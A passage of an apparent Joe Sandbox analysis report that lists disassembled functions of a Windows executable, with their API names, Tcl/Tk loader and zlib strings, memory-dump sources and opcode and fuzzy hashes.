                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _fread_nolock
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 840049012-0
                                                                                                                                                                                                                                          • Opcode ID: ba47e7a91f676b1f5407b670dd4d84630351680e50f53ec6b1691c9fd8376baa
                                                                                                                                                                                                                                          • Instruction ID: 6a52626b29f954fedac921189b4d5b3f39525cf48ff420a255b25705c36dcc70
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: ba47e7a91f676b1f5407b670dd4d84630351680e50f53ec6b1691c9fd8376baa
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DD219121B0CA5285FAA0BB7B65053BAD691BF45BD4FCC5530EE8D07786EE7DE0418720
                                                                                                                                                                                                                                          Function 00007FF79D06B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
                                                                                                                                                                                                                                          • Instruction ID: d1d0b0be92ff52fbe9272e8304bde154e4c5315e7ed2e59b4ff0356e76fc6d45
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5F314B72B1CE4285E765BBBD98412BCA650AB40B94FD20335E9AD133D2EF7CE4418731
                                                                                                                                                                                                                                          Function 00007FF79D0699D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3947729631-0
                                                                                                                                                                                                                                          • Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
                                                                                                                                                                                                                                          • Instruction ID: 3a0dea813fb226d5c3bc225efdc6dc336cb66abdf37b6834e8985e8db751b2db
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 64217F32B08B818AEB24AFB8D4442EC73E0EB44718FC40635E69D06ED5EF78D544C7A0
                                                                                                                                                                                                                                          Function 00007FF79D066004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
                                                                                                                                                                                                                                          • Instruction ID: fa5911b7ecab00e7bc455eebb2e5b709378bc7d870e3c4b050529a56502c0825
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0F115722F1CA4241EA707FBA940917EE264BF55B84FD44231EBCC57A95EF7DD4404760
                                                                                                                                                                                                                                          Function 00007FF79D0763C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
                                                                                                                                                                                                                                          • Instruction ID: 9356ad62d4875e2d8a6a896681d5692799ef0a62520c677c6ff2f63e9f66d1ef
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1D21327261CA4146D775AF2CD840379B6A1AB84B94FD44234D6DE8B6D5EB3DD4408B10
                                                                                                                                                                                                                                          Function 00007FF79D06042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
                                                                                                                                                                                                                                          • Instruction ID: 368a16771ca20d9613cffab755cf7542a7a2dcdc81fb8d676967b3c690f72702
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0A018261B4CB4140EA24ABBA9A01069E691FF95FE0BC88731DE9C17BDAEE3CD4118310
                                                                                                                                                                                                                                          Function 00007FF79D067F6C Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
                                                                                                                                                                                                                                          • Instruction ID: a8ba64db3648d0953e1521215f9a2c8cacbdeda42fb267d980df8f70cdb98242
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1B01A924F0DA8340FA747BBE6501A79E190AF84794FD44335EADC42AD6FF6CA4408271
                                                                                                                                                                                                                                          Function 00007FF79D0682A8 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
                                                                                                                                                                                                                                          • Instruction ID: 321ae0e7224b7b1cade88cc8ce66c4ce7183e58c81ac1542c7217bd381d12346
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6CE0ECA0F4CE0786F7753BFD458317991105F95344FD15730E988162C3FE2CA8495631
                                                                                                                                                                                                                                          Function 00007FF79D06EC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • HeapAlloc.KERNEL32(?,?,00000000,00007FF79D06B39A,?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA), ref: 00007FF79D06EC5D
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AllocHeap
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4292702814-0
                                                                                                                                                                                                                                          • Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
                                                                                                                                                                                                                                          • Instruction ID: 46d0e41c66113586199b5a527caaa595b9fec57671400040a4f0c673dec51e76
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 26F01D54B0DB0685FE787BFA58612B5D6915F84BA0FCC9630C98E8A3D1FE1CE5828230
                                                                                                                                                                                                                                          Function 00007FF79D06D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • HeapAlloc.KERNEL32(?,?,?,00007FF79D060D00,?,?,?,00007FF79D06236A,?,?,?,?,?,00007FF79D063B59), ref: 00007FF79D06D6AA
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AllocHeap
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4292702814-0
                                                                                                                                                                                                                                          • Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
                                                                                                                                                                                                                                          • Instruction ID: 4bb413853c7e110253a45a34fbc446f3bf6dd4a6a51d0bc22435111bcc2037ee
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: FBF03A10F0DA0244FE7477F9581167892906F547A0FC80338EAAE8A3C1FE6CA4908530

                                                                                                                                                                                                                                          Non-executed Functions

                                                                                                                                                                                                                                          Function 00007FF79D0576B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressErrorLastProc
                                                                                                                                                                                                                                          • String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                                                                                                                                                                                                          • API String ID: 199729137-3427451314
                                                                                                                                                                                                                                          • Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
                                                                                                                                                                                                                                          • Instruction ID: ab6c89e8f38e7700b669e7277e5604736fe2dd951e7e1d94640eaef0088db598
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2F02AF28A0DB0BD1EA35BB7EAC145B8A3A5BF44755BC40035D89E1A3A4FF3CB5489371
                                                                                                                                                                                                                                          Function 00007FF79D07411C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                                                                                                                                                                                                                          • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                                                                                                          • API String ID: 808467561-2761157908
                                                                                                                                                                                                                                          • Opcode ID: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
                                                                                                                                                                                                                                          • Instruction ID: 0a671dc5190ab5e29a2ec908d9af8080881f882ff4b966f964c8a32a9a1b11f9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C2B2BF72F1C2928BE7759E78D8407FDA7A1FB54388F905135DA4D5BB88EB38E9008B50
                                                                                                                                                                                                                                          Function 00007FF79D05AD1D Relevance: 12.0, Strings: 9, Instructions: 744COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
                                                                                                                                                                                                                                          • API String ID: 0-2665694366
                                                                                                                                                                                                                                          • Opcode ID: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
                                                                                                                                                                                                                                          • Instruction ID: 82e27834df7926a4ec4e9661ee5666a81c9f084b8d4ab677ecb73385f19b23b6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6F520972A186A64BD7B49F29C458B7D7BEDFB44340F414139EA8A97780EB3CE844CB50
                                                                                                                                                                                                                                          Function 00007FF79D05D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3140674995-0
                                                                                                                                                                                                                                          • Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
                                                                                                                                                                                                                                          • Instruction ID: d1bafdcb193d9d564e726a2957d694acc5ceb77131f966d6648a107fb8020bef
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1A315072619B8186EB70AF65E8503FEB360FB84704F44403ADA8D4BB94EF38D549C720
